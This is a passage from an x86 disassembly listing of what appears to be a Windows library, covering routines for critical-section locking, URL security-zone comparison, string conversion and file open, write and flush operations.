		push	[ebp+var_C]
		call	sub_69B38858
		mov	[ebp+var_8], eax


loc_69B3986C:				; CODE XREF: sub_69B39730+115j
					; sub_69B39730+11Aj
		cmp	[ebp+arg_0], esi
		jl	short loc_69B3987F
		push	esi
		push	[ebp+var_8]
		mov	ecx, ebx
		call	sub_69B3845F
		mov	[ebp+arg_0], eax


loc_69B3987F:				; CODE XREF: sub_69B39730+12Fj
					; sub_69B39730+13Fj
		mov	eax, [ebp+var_C]
		cmp	eax, esi
		jz	short loc_69B3988C
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B3988C:				; CODE XREF: sub_69B39730+154j
		mov	eax, [ebp+var_8]
		cmp	eax, esi
		jz	short loc_69B39899
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_69B39899:				; CODE XREF: sub_69B39730+161j
		push	[ebp+lpCriticalSection]	; lpCriticalSection


loc_69B3989C:				; CODE XREF: sub_69B39730+7Aj
		call	ds:LeaveCriticalSection
		lea	ecx, [ebp+var_20]
		call	sub_69B1976C
		push	[ebp+var_10]
		call	dword_69B92944
		mov	eax, [ebp+arg_0]
		pop	edi
		pop	ebx


loc_69B398B8:				; CODE XREF: sub_69B39730+1Ej
					; sub_69B39730+35j
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		pop	esi
		call	sub_69B1B9F6
		leave
		retn	8
sub_69B39730	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B398C8	proc near		; DATA XREF: .text:69B2773Co

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		call	dword_69B92948
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_69B398E2
		mov	eax, 80004005h
		jmp	short loc_69B3995C
; ---------------------------------------------------------------------------


loc_69B398E2:				; CODE XREF: sub_69B398C8+11j
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		push	dword ptr [esi+0A8h]
		lea	ecx, [ebp+var_C]
		push	ebx
		call	sub_69B1A8C7
		lea	edi, [esi+90h]
		push	edi		; lpCriticalSection
		call	ds:EnterCriticalSection
		xor	eax, eax
		cmp	[ebp+arg_4], eax
		jnz	short loc_69B39916
		cmp	[ebp+arg_8], eax
		jz	short loc_69B39916
		mov	esi, 80070057h
		jmp	short loc_69B39942
; ---------------------------------------------------------------------------


loc_69B39916:				; CODE XREF: sub_69B398C8+40j
					; sub_69B398C8+45j
		cmp	[esi+14h], eax
		jnz	short loc_69B3992F
		mov	ecx, esi
		call	sub_69B38726
		push	0
		mov	ecx, esi
		call	sub_69B39299
		test	eax, eax
		jl	short loc_69B39940


loc_69B3992F:				; CODE XREF: sub_69B398C8+51j
		push	[ebp+arg_C]
		mov	ecx, [esi+14h]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_69B358B8


loc_69B39940:				; CODE XREF: sub_69B398C8+65j
		mov	esi, eax


loc_69B39942:				; CODE XREF: sub_69B398C8+4Cj
		push	edi		; lpCriticalSection
		call	ds:LeaveCriticalSection
		lea	ecx, [ebp+var_C]
		call	sub_69B1976C
		push	ebx
		call	dword_69B92944
		pop	edi
		mov	eax, esi
		pop	esi


loc_69B3995C:				; CODE XREF: sub_69B398C8+18j
		pop	ebx
		leave
		retn	10h
sub_69B398C8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B39961	proc near		; DATA XREF: .text:69B27744o

var_10		= byte ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		call	dword_69B92948
		test	eax, eax
		mov	[ebp+var_4], eax
		jnz	short loc_69B3997E
		mov	eax, 80004005h
		jmp	locret_69B39A0B
; ---------------------------------------------------------------------------


loc_69B3997E:				; CODE XREF: sub_69B39961+11j
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		push	dword ptr [esi+0A8h]
		lea	ecx, [ebp+var_10]
		push	eax
		call	sub_69B1A8C7
		lea	ebx, [esi+90h]
		push	ebx		; lpCriticalSection
		call	ds:EnterCriticalSection
		mov	eax, [esi+5Ch]
		xor	ecx, ecx
		xor	edi, edi
		inc	ecx
		test	eax, eax
		jz	short loc_69B399B4
		cmp	byte ptr [eax+0Ch], 0
		jz	short loc_69B399B4
		mov	edi, ecx


loc_69B399B4:				; CODE XREF: sub_69B39961+49j
					; sub_69B39961+4Fj
		cmp	[ebp+arg_C], ecx
		setz	al
		cmp	[ebp+arg_C], ecx
		push	eax
		push	ecx
		push	eax
		setnz	al
		cmp	edi, ecx
		mov	ecx, esi
		push	eax
		setz	al
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_69B3937E
		mov	edi, eax
		test	edi, edi
		jnz	short loc_69B399EE
		mov	eax, [esi+8Ch]
		mov	ecx, [eax]
		push	6
		push	esi
		push	eax
		call	dword ptr [ecx+0Ch]
		mov	edi, eax


loc_69B399EE:				; CODE XREF: sub_69B39961+7Aj
		push	ebx		; lpCriticalSection
		call	ds:LeaveCriticalSection
		lea	ecx, [ebp+var_10]
		call	sub_69B1976C
		push	[ebp+var_4]
		call	dword_69B92944
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx

locret_69B39A0B:			; CODE XREF: sub_69B39961+18j
		leave
		retn	10h
sub_69B39961	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_69B39A0F(LPCRITICAL_SECTION	lpCriticalSection, int,	int, int)

sub_69B39A0F	proc near		; DATA XREF: .text:69B27748o

var_10		= byte ptr -10h
var_4		= dword	ptr -4
lpCriticalSection= dword ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		call	dword_69B92948
		test	eax, eax
		mov	[ebp+var_4], eax
		jnz	short loc_69B39A2C
		mov	eax, 80004005h
		jmp	locret_69B39AEB
; ---------------------------------------------------------------------------


loc_69B39A2C:				; CODE XREF: sub_69B39A0F+11j
		push	esi
		mov	esi, [ebp+lpCriticalSection]
		push	edi
		push	dword ptr [esi+0A8h]
		lea	ecx, [ebp+var_10]
		push	eax
		call	sub_69B1A8C7
		lea	eax, [esi+90h]
		push	eax		; lpCriticalSection
		mov	[ebp+lpCriticalSection], eax
		call	ds:EnterCriticalSection
		cmp	[ebp+arg_C], 0
		jnz	short loc_69B39AA6
		push	0
		mov	ecx, esi
		call	sub_69B39299
		mov	edi, eax
		test	edi, edi
		jl	short loc_69B39ACD
		mov	eax, [esi+5Ch]
		mov	byte ptr [eax+0Eh], 1
		mov	eax, [esi+5Ch]
		mov	byte ptr [eax+0Fh], 0
		mov	eax, [esi+5Ch]
		push	0
		push	2
		mov	byte ptr [eax+10h], 1
		mov	ecx, [esi+14h]
		push	offset word_69B26230
		call	sub_69B358B8
		mov	edi, eax
		test	edi, edi
		jl	short loc_69B39ACD
		mov	eax, [ebp+arg_8]
		mov	ecx, [esi+14h]
		push	1
		add	eax, eax
		push	eax
		push	[ebp+arg_4]
		call	sub_69B358B8
		jmp	short loc_69B39AB6
; ---------------------------------------------------------------------------


loc_69B39AA6:				; CODE XREF: sub_69B39A0F+45j
		mov	ecx, [esi+14h]
		push	1
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_69B35A2B


loc_69B39AB6:				; CODE XREF: sub_69B39A0F+95j
		mov	edi, eax
		test	edi, edi
		jnz	short loc_69B39ACD
		mov	eax, [esi+8Ch]
		mov	ecx, [eax]
		push	6
		push	esi
		push	eax
		call	dword ptr [ecx+0Ch]
		mov	edi, eax


loc_69B39ACD:				; CODE XREF: sub_69B39A0F+54j
					; sub_69B39A0F+80j ...
		push	[ebp+lpCriticalSection]	; lpCriticalSection
		call	ds:LeaveCriticalSection
		lea	ecx, [ebp+var_10]
		call	sub_69B1976C
		push	[ebp+var_4]
		call	dword_69B92944
		mov	eax, edi
		pop	edi
		pop	esi

locret_69B39AEB:			; CODE XREF: sub_69B39A0F+18j
		leave
		retn	10h
sub_69B39A0F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_69B39AEF(LPCRITICAL_SECTION	lpCriticalSection, int,	int, int)

sub_69B39AEF	proc near		; DATA XREF: .text:69B27730o

var_C		= byte ptr -0Ch
lpCriticalSection= dword ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		mov	esi, [ebp+lpCriticalSection]
		lea	eax, [esi+90h]
		push	edi
		push	eax		; lpCriticalSection
		mov	[ebp+lpCriticalSection], eax
		call	ds:EnterCriticalSection
		call	dword_69B92948
		mov	edi, eax
		test	edi, edi
		jnz	short loc_69B39B1D
		mov	esi, 80004005h
		jmp	short loc_69B39B5A
; ---------------------------------------------------------------------------


loc_69B39B1D:				; CODE XREF: sub_69B39AEF+25j
		push	dword ptr [esi+0A8h]
		lea	ecx, [ebp+var_C]
		push	edi
		call	sub_69B1A8C7
		cmp	[ebp+arg_C], 1
		push	0
		push	0
		setz	al
		push	0
		push	1
		mov	ecx, esi
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_69B3937E
		lea	ecx, [ebp+var_C]
		mov	esi, eax
		call	sub_69B1976C
		push	edi
		call	dword_69B92944


loc_69B39B5A:				; CODE XREF: sub_69B39AEF+2Cj
		push	[ebp+lpCriticalSection]	; lpCriticalSection
		call	ds:LeaveCriticalSection
		pop	edi
		mov	eax, esi
		pop	esi
		leave
		retn	10h
sub_69B39AEF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_69B39B6B(int, LPCWSTR lpString, int)

sub_69B39B6B	proc near		; CODE XREF: sub_69B3DEBD+30p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
lpString	= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		push	[ebp+lpString]	; lpString
		call	ds:lstrlenW	; lstrlenW
		mov	esi, eax
		lea	eax, [ebp+var_8]
		push	eax		; int
		lea	eax, [ebp+var_4]
		push	eax		; int
		push	[ebp+lpString]	; OLECHAR *
		call	sub_69B370C8
		cmp	eax, 0FFFFFFFEh
		jnz	short loc_69B39B98
		mov	eax, 0C00CE56Eh
		jmp	short loc_69B39BDD
; ---------------------------------------------------------------------------


loc_69B39B98:				; CODE XREF: sub_69B39B6B+24j
		cmp	[ebp+var_4], 4B0h
		jz	short loc_69B39BAE
		cmp	[ebp+var_4], 2EE0h
		jz	short loc_69B39BAE
		xor	al, al
		jmp	short loc_69B39BB2
; ---------------------------------------------------------------------------


loc_69B39BAE:				; CODE XREF: sub_69B39B6B+34j
					; sub_69B39B6B+3Dj
		xor	eax, eax
		mov	al, 1


loc_69B39BB2:				; CODE XREF: sub_69B39B6B+41j
		push	eax
		push	1
		push	esi
		push	[ebp+lpString]
		call	sub_69B37036
		test	eax, eax
		jz	short loc_69B39BCF
		push	eax
		push	[ebp+arg_0]
		call	sub_69B3683A
		test	eax, eax
		jnz	short loc_69B39BD6


loc_69B39BCF:				; CODE XREF: sub_69B39B6B+55j
		mov	eax, 8007000Eh
		jmp	short loc_69B39BDD
; ---------------------------------------------------------------------------


loc_69B39BD6:				; CODE XREF: sub_69B39B6B+62j
		mov	ecx, [ebp+arg_8]
		mov	[ecx], eax
		xor	eax, eax


loc_69B39BDD:				; CODE XREF: sub_69B39B6B+2Bj
					; sub_69B39B6B+69j
		pop	esi
		leave
		retn	0Ch
sub_69B39B6B	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B39BE2	proc near		; CODE XREF: sub_69B39C17+A2p
					; sub_69B39C17+12Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		cmp	eax, 4
		mov	ecx, [esp+arg_4]
		jz	short loc_69B39BF3
		cmp	eax, ecx
		jz	short loc_69B39C0D


loc_69B39BF3:				; CODE XREF: sub_69B39BE2+Bj
		cmp	ecx, 4
		jnb	short loc_69B39C12
		cmp	eax, 4
		jnb	short loc_69B39C12
		mov	ecx, dword_69B98444[ecx*4]
		cmp	ecx, dword_69B98444[eax*4]
		jb	short loc_69B39C12


loc_69B39C0D:				; CODE XREF: sub_69B39BE2+Fj
		xor	eax, eax
		inc	eax
		jmp	short locret_69B39C14
; ---------------------------------------------------------------------------


loc_69B39C12:				; CODE XREF: sub_69B39BE2+14j
					; sub_69B39BE2+19j ...
		xor	eax, eax

locret_69B39C14:			; CODE XREF: sub_69B39BE2+2Ej
		retn	8
sub_69B39BE2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_69B39C17(LPCWSTR lpszUrl, int, int)

sub_69B39C17	proc near		; CODE XREF: sub_69B39730+FCp
					; sub_69B39E07+31p ...

var_41C		= byte ptr -41Ch
var_21C		= byte ptr -21Ch
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_5		= byte ptr -5
var_4		= dword	ptr -4
lpszUrl		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 41Ch
		mov	eax, dword_69B92170
		xor	eax, [ebp+4]
		push	ebx
		push	esi
		push	4
		pop	esi
		xor	ebx, ebx
		push	offset dword_69B9B264 ;	ppv
		mov	[ebp+var_4], eax
		mov	[ebp+var_C], esi
		mov	[ebp+var_10], esi
		mov	[ebp+var_18], 3
		mov	[ebp+var_5], bl
		call	sub_69B2C72C
		cmp	eax, ebx
		jnz	loc_69B39DA5
		mov	eax, dword_69B9B264
		mov	ecx, [eax]
		push	ebx
		lea	edx, [ebp+var_C]
		push	edx
		push	[ebp+arg_4]
		push	eax
		call	dword ptr [ecx+14h]
		test	eax, eax
		jl	short loc_69B39C97
		cmp	[ebp+var_C], ebx
		jnz	short loc_69B39C97
		mov	eax, dword_69B9B264
		mov	ecx, [eax]
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	esi
		lea	edx, [ebp+var_18]
		push	edx
		push	1203h
		push	[ebp+lpszUrl]
		push	eax
		call	dword ptr [ecx+1Ch]
		test	eax, eax
		jnz	short loc_69B39C97
		mov	al, 1
		jmp	loc_69B39D97
; ---------------------------------------------------------------------------


loc_69B39C97:				; CODE XREF: sub_69B39C17+52j
					; sub_69B39C17+57j ...
		mov	eax, dword_69B9B264
		mov	ecx, [eax]
		push	ebx
		lea	edx, [ebp+var_10]
		push	edx
		push	[ebp+lpszUrl]
		push	eax
		call	dword ptr [ecx+14h]
		test	eax, eax
		jl	short loc_69B39CCB
		cmp	[ebp+arg_8], ebx
		jz	short loc_69B39CCB
		push	[ebp+var_10]
		push	[ebp+var_C]
		call	sub_69B39BE2
		test	eax, eax
		jz	short loc_69B39CCB
		mov	[ebp+var_5], 1
		jmp	loc_69B39D94
; ---------------------------------------------------------------------------


loc_69B39CCB:				; CODE XREF: sub_69B39C17+95j
					; sub_69B39C17+9Aj ...
		cmp	[ebp+arg_8], ebx
		push	edi
		jl	loc_69B39D93
		push	ebx
		lea	edx, [ebp+var_14]
		push	edx
		lea	edx, [ebp+var_41C]
		mov	eax, 200h
		push	edx
		push	[ebp+lpszUrl]
		mov	[ebp+var_14], eax
		mov	[ebp+var_1C], eax
		mov	eax, dword_69B9B264
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+18h]
		test	eax, eax
		jl	short loc_69B39D3C
		mov	eax, dword_69B9B264
		mov	ecx, [eax]
		push	ebx
		lea	edx, [ebp+var_1C]
		push	edx
		lea	edx, [ebp+var_21C]
		push	edx
		push	[ebp+arg_4]
		push	eax
		call	dword ptr [ecx+18h]
		test	eax, eax
		jl	short loc_69B39D3C
		mov	ecx, [ebp+var_14]
		cmp	ecx, [ebp+var_1C]
		jnz	short loc_69B39D39
		lea	edi, [ebp+var_21C]
		lea	esi, [ebp+var_41C]
		xor	eax, eax
		repe cmpsb
		jz	short loc_69B39D8F
		push	4
		pop	esi


loc_69B39D39:				; CODE XREF: sub_69B39C17+10Bj
		mov	[ebp+var_5], bl


loc_69B39D3C:				; CODE XREF: sub_69B39C17+E5j
					; sub_69B39C17+103j
		push	[ebp+var_10]
		push	[ebp+var_C]
		call	sub_69B39BE2
		test	eax, eax
		jz	short loc_69B39D93
		push	[ebp+lpszUrl]	; lpszUrl
		call	sub_69B3A58D
		push	[ebp+arg_4]	; lpszUrl
		mov	edi, eax
		call	sub_69B3A58D
		cmp	edi, 3
		jnz	short loc_69B39D66
		cmp	eax, esi
		jz	short loc_69B39D93


loc_69B39D66:				; CODE XREF: sub_69B39C17+149j
		cmp	edi, esi
		jnz	short loc_69B39D6F
		cmp	eax, 3
		jz	short loc_69B39D93


loc_69B39D6F:				; CODE XREF: sub_69B39C17+151j
		mov	eax, dword_69B9B264
		mov	ecx, [eax]
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	esi
		lea	edx, [ebp+var_18]
		push	edx
		push	1406h
		push	[ebp+arg_4]
		push	eax
		call	dword ptr [ecx+1Ch]
		test	eax, eax
		jnz	short loc_69B39D93


loc_69B39D8F:				; CODE XREF: sub_69B39C17+11Dj
		mov	[ebp+var_5], 1


loc_69B39D93:				; CODE XREF: sub_69B39C17+B8j
					; sub_69B39C17+132j ...
		pop	edi


loc_69B39D94:				; CODE XREF: sub_69B39C17+AFj
		mov	al, [ebp+var_5]


loc_69B39D97:				; CODE XREF: sub_69B39C17+7Bj
		neg	al
		sbb	eax, eax
		and	eax, 7FF8FFFBh
		add	eax, 80070005h


loc_69B39DA5:				; CODE XREF: sub_69B39C17+37j
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		pop	esi
		pop	ebx
		call	sub_69B1B9F6
		leave
		retn	0Ch
sub_69B39C17	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_69B39DB6(int, LPCVOID lpBuffer, DWORD NumberOfBytesWritten,	int)

sub_69B39DB6	proc near		; DATA XREF: .text:69B12328o

arg_0		= dword	ptr  8
lpBuffer	= dword	ptr  0Ch
NumberOfBytesWritten= dword ptr	 10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0		; lpOverlapped
		lea	eax, [ebp+NumberOfBytesWritten]
		push	eax		; lpNumberOfBytesWritten
		push	[ebp+NumberOfBytesWritten] ; nNumberOfBytesToWrite
		mov	eax, [ebp+arg_0]
		push	[ebp+lpBuffer]	; lpBuffer
		push	dword ptr [eax+38h] ; hFile
		call	ds:WriteFile	; WriteFile
		test	eax, eax
		jnz	short loc_69B39DF5
		push	esi
		mov	esi, ds:GetLastError
		call	esi ; GetLastError
		test	eax, eax
		jg	short loc_69B39DE6
		call	esi ; GetLastError
		jmp	short loc_69B39DF2
; ---------------------------------------------------------------------------


loc_69B39DE6:				; CODE XREF: sub_69B39DB6+2Aj
		call	esi ; GetLastError
		and	eax, 0FFFFh
		or	eax, 80070000h


loc_69B39DF2:				; CODE XREF: sub_69B39DB6+2Ej
		pop	esi
		jmp	short loc_69B39E03
; ---------------------------------------------------------------------------


loc_69B39DF5:				; CODE XREF: sub_69B39DB6+1Dj
		mov	eax, [ebp+arg_C]
		test	eax, eax
		jz	short loc_69B39E01
		mov	ecx, [ebp+NumberOfBytesWritten]
		mov	[eax], ecx


loc_69B39E01:				; CODE XREF: sub_69B39DB6+44j
		xor	eax, eax


loc_69B39E03:				; CODE XREF: sub_69B39DB6+3Dj
		pop	ebp
		retn	10h
sub_69B39DB6	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_69B39E07(LPCWSTR lpszUrl)

sub_69B39E07	proc near		; CODE XREF: sub_69B3A3DD+3Bp
					; sub_69B3A45B+3Fp ...

lpszUrl		= dword	ptr  4

		mov	eax, [ecx+28h]
		push	esi
		mov	esi, [eax+0Ch]
		test	esi, esi
		jz	short loc_69B39E3F
		cmp	word ptr [esi],	0
		jz	short loc_69B39E3F
		mov	edx, [esp+4+lpszUrl]
		test	edx, edx
		jnz	short loc_69B39E27
		mov	edx, [eax+8]
		test	edx, edx
		jz	short loc_69B39E3F


loc_69B39E27:				; CODE XREF: sub_69B39E07+17j
		cmp	word ptr [edx],	0
		jz	short loc_69B39E3F
		xor	eax, eax
		cmp	[ecx+48h], al
		setnz	al
		push	eax		; int
		push	esi		; int
		push	edx		; lpszUrl
		call	sub_69B39C17
		jmp	short loc_69B39E41
; ---------------------------------------------------------------------------


loc_69B39E3F:				; CODE XREF: sub_69B39E07+9j
					; sub_69B39E07+Fj ...
		xor	eax, eax


loc_69B39E41:				; CODE XREF: sub_69B39E07+36j
		pop	esi
		retn	4
sub_69B39E07	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_69B39E45(LPCWSTR lpWideCharStr)

sub_69B39E45	proc near		; CODE XREF: sub_69B39E9F+8Fp
					; sub_69B7F4D3+F3p ...

cchWideChar	= dword	ptr -4
lpWideCharStr	= dword	ptr  4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	[esp+14h+lpWideCharStr]	; lpString
		call	ds:lstrlenW	; lstrlenW
		mov	ebp, ds:WideCharToMultiByte
		xor	ebx, ebx
		push	ebx		; lpUsedDefaultChar
		push	ebx		; lpDefaultChar
		push	ebx		; cchMultiByte
		push	ebx		; lpMultiByteStr
		push	eax		; cchWideChar
		push	[esp+28h+lpWideCharStr]	; lpWideCharStr
		mov	[esp+2Ch+cchWideChar], eax
		push	ebx		; dwFlags
		push	ebx		; CodePage
		call	ebp ; WideCharToMultiByte
		mov	esi, eax
		lea	eax, [esi+1]
		push	eax
		call	sub_69B11E44
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_69B39E82
		xor	eax, eax
		jmp	short loc_69B39E97
; ---------------------------------------------------------------------------


loc_69B39E82:				; CODE XREF: sub_69B39E45+37j
		push	ebx		; lpUsedDefaultChar
		push	ebx		; lpDefaultChar
		push	esi		; cchMultiByte
		push	edi		; lpMultiByteStr
		push	[esp+24h+cchWideChar] ;	cchWideChar
		push	[esp+28h+lpWideCharStr]	; lpWideCharStr
		push	ebx		; dwFlags
		push	ebx		; CodePage
		call	ebp ; WideCharToMultiByte
		mov	[edi+esi], bl
		mov	eax, edi


loc_69B39E97:				; CODE XREF: sub_69B39E45+3Bj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn	4
sub_69B39E45	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B39E9F	proc near		; CODE XREF: sub_69B3A3DD+62p

var_14		= dword	ptr -14h
dwDesiredAccess	= dword	ptr -10h
lpWideCharStr	= dword	ptr -0Ch
dwCreationDisposition= dword ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		mov	esi, ecx
		mov	ecx, [esi+28h]
		xor	ebx, ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_14], ebx
		call	sub_69B3A627
		cmp	eax, ebx
		mov	[ebp+lpWideCharStr], eax
		jnz	short loc_69B39ECA
		mov	eax, 8007000Eh
		jmp	loc_69B3A001
; ---------------------------------------------------------------------------


loc_69B39ECA:				; CODE XREF: sub_69B39E9F+1Fj
		cmp	[ebp+arg_0], ebx
		jz	short loc_69B39ED7
		xor	eax, eax
		inc	eax
		cmp	[ebp+arg_0], eax
		jnz	short loc_69B39ED9


loc_69B39ED7:				; CODE XREF: sub_69B39E9F+2Ej
		xor	eax, eax


loc_69B39ED9:				; CODE XREF: sub_69B39E9F+36j
		mov	cl, al
		neg	cl
		mov	[esi+35h], al
		sbb	ecx, ecx
		and	ecx, 0C0000000h
		add	ecx, 80000000h
		cmp	al, bl
		mov	[ebp+dwDesiredAccess], ecx
		jz	short loc_69B39F02
		cmp	[ebp+arg_0], 3
		mov	[ebp+dwCreationDisposition], 2
		jnz	short loc_69B39F09


loc_69B39F02:				; CODE XREF: sub_69B39E9F+54j
		mov	[ebp+dwCreationDisposition], 3


loc_69B39F09:				; CODE XREF: sub_69B39E9F+61j
		push	edi
		push	ebx
		mov	edi, 80h
		push	edi
		push	[ebp+dwCreationDisposition]
		push	ebx
		push	1
		push	[ebp+dwDesiredAccess]
		push	[ebp+lpWideCharStr]
		call	ds:SHLWAPI_52
		cmp	eax, 0FFFFFFFFh
		mov	[esi+38h], eax
		jnz	short loc_69B39F5B
		push	[ebp+lpWideCharStr] ; lpWideCharStr
		call	sub_69B39E45
		cmp	eax, ebx
		mov	[ebp+var_14], eax
		jnz	short loc_69B39F46
		mov	[ebp+var_4], 8007000Eh
		jmp	loc_69B39FED
; ---------------------------------------------------------------------------


loc_69B39F46:				; CODE XREF: sub_69B39E9F+99j
		push	ebx		; hTemplateFile
		push	edi		; dwFlagsAndAttributes
		push	[ebp+dwCreationDisposition] ; dwCreationDisposition
		push	ebx		; lpSecurityAttributes
		push	1		; dwShareMode
		push	[ebp+dwDesiredAccess] ;	dwDesiredAccess
		push	eax		; lpFileName
		call	ds:CreateFileA	; CreateFileA
		mov	[esi+38h], eax


loc_69B39F5B:				; CODE XREF: sub_69B39E9F+8Aj
		mov	eax, [esi+38h]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_69B39F94
		cmp	[esi+35h], bl
		jz	short loc_69B39F94
		cmp	[ebp+arg_0], 3
		jnz	short loc_69B39F94
		push	2		; dwMoveMethod
		push	ebx		; lpDistanceToMoveHigh
		push	ebx		; lDistanceToMove
		push	eax		; hFile
		call	ds:SetFilePointer	; SetFilePointer
		cmp	eax, 0FFFFFFFh
		jnz	short loc_69B39F94
		mov	esi, ds:GetLastError
		call	esi ; GetLastError
		test	eax, eax
		jg	short loc_69B39F90
		call	esi ; GetLastError
		jmp	short loc_69B39FBC
; ---------------------------------------------------------------------------


loc_69B39F90:				; CODE XREF: sub_69B39E9F+EBj
		call	esi ; GetLastError
		jmp	short loc_69B39FB2
; ---------------------------------------------------------------------------


loc_69B39F94:				; CODE XREF: sub_69B39E9F+C2j
					; sub_69B39E9F+C7j ...
		mov	eax, [esi+38h]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_69B39FCA
		call	ds:GetLastError
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jz	short loc_69B39FC1
		cmp	eax, 2
		jz	short loc_69B39FC1
		cmp	eax, ebx
		jle	short loc_69B39FED


loc_69B39FB2:				; CODE XREF: sub_69B39E9F+F3j
		and	eax, 0FFFFh
		or	eax, 80070000h


loc_69B39FBC:				; CODE XREF: sub_69B39E9F+EFj
		mov	[ebp+var_4], eax
		jmp	short loc_69B39FED
; ---------------------------------------------------------------------------


loc_69B39FC1:				; CODE XREF: sub_69B39E9F+108j
					; sub_69B39E9F+10Dj
		mov	[ebp+var_4], 800C0006h
		jmp	short loc_69B39FED
; ---------------------------------------------------------------------------


loc_69B39FCA:				; CODE XREF: sub_69B39E9F+FBj
		push	eax		; hFile
		call	ds:GetFileType	; GetFileType
		sub	eax, ebx
		jz	short loc_69B39FD9
		dec	eax
		dec	eax
		jnz	short loc_69B39FED


loc_69B39FD9:				; CODE XREF: sub_69B39E9F+134j
		push	dword ptr [esi+38h] ; hObject
		call	ds:CloseHandle	; CloseHandle
		or	dword ptr [esi+38h], 0FFFFFFFFh
		mov	[ebp+var_4], 80070005h


loc_69B39FED:				; CODE XREF: sub_69B39E9F+A2j
					; sub_69B39E9F+111j ...
		push	[ebp+var_14]
		call	sub_69B1B2B7
		push	[ebp+lpWideCharStr]
		call	sub_69B1B2B7
		mov	eax, [ebp+var_4]
		pop	edi


loc_69B3A001:				; CODE XREF: sub_69B39E9F+26j
		pop	esi
		pop	ebx
		leave
		retn	4
sub_69B39E9F	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B3A007	proc near		; DATA XREF: .text:69B12338o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	ecx, [eax+2Ch]
		test	ecx, ecx
		jz	short loc_69B3A01E
		push	[esp+arg_4]
		mov	eax, [ecx]
		push	ecx
		call	dword ptr [eax+20h]
		jmp	short loc_69B3A033
; ---------------------------------------------------------------------------


loc_69B3A01E:				; CODE XREF: sub_69B3A007+9j
		mov	ecx, [eax+38h]
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_69B3A033
		cmp	byte ptr [eax+35h], 0
		jz	short loc_69B3A033
		push	ecx		; hFile
		call	ds:FlushFileBuffers	; FlushFileBuffers


loc_69B3A033:				; CODE XREF: sub_69B3A007+15j
					; sub_69B3A007+1Dj ...
		xor	eax, eax
		retn	8
sub_69B3A007	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_69B3A038(int, LPVOID lpBuffer, DWORD NumberOfBytesRead, int)

sub_69B3A038	proc near		; DATA XREF: .text:69B12324o

arg_0		= dword	ptr  8
lpBuffer	= dword	ptr  0Ch
NumberOfBytesRead= dword ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		lea	edi, [esi+10h]
		push	edi		; lpCriticalSection
		call	ds:EnterCriticalSection
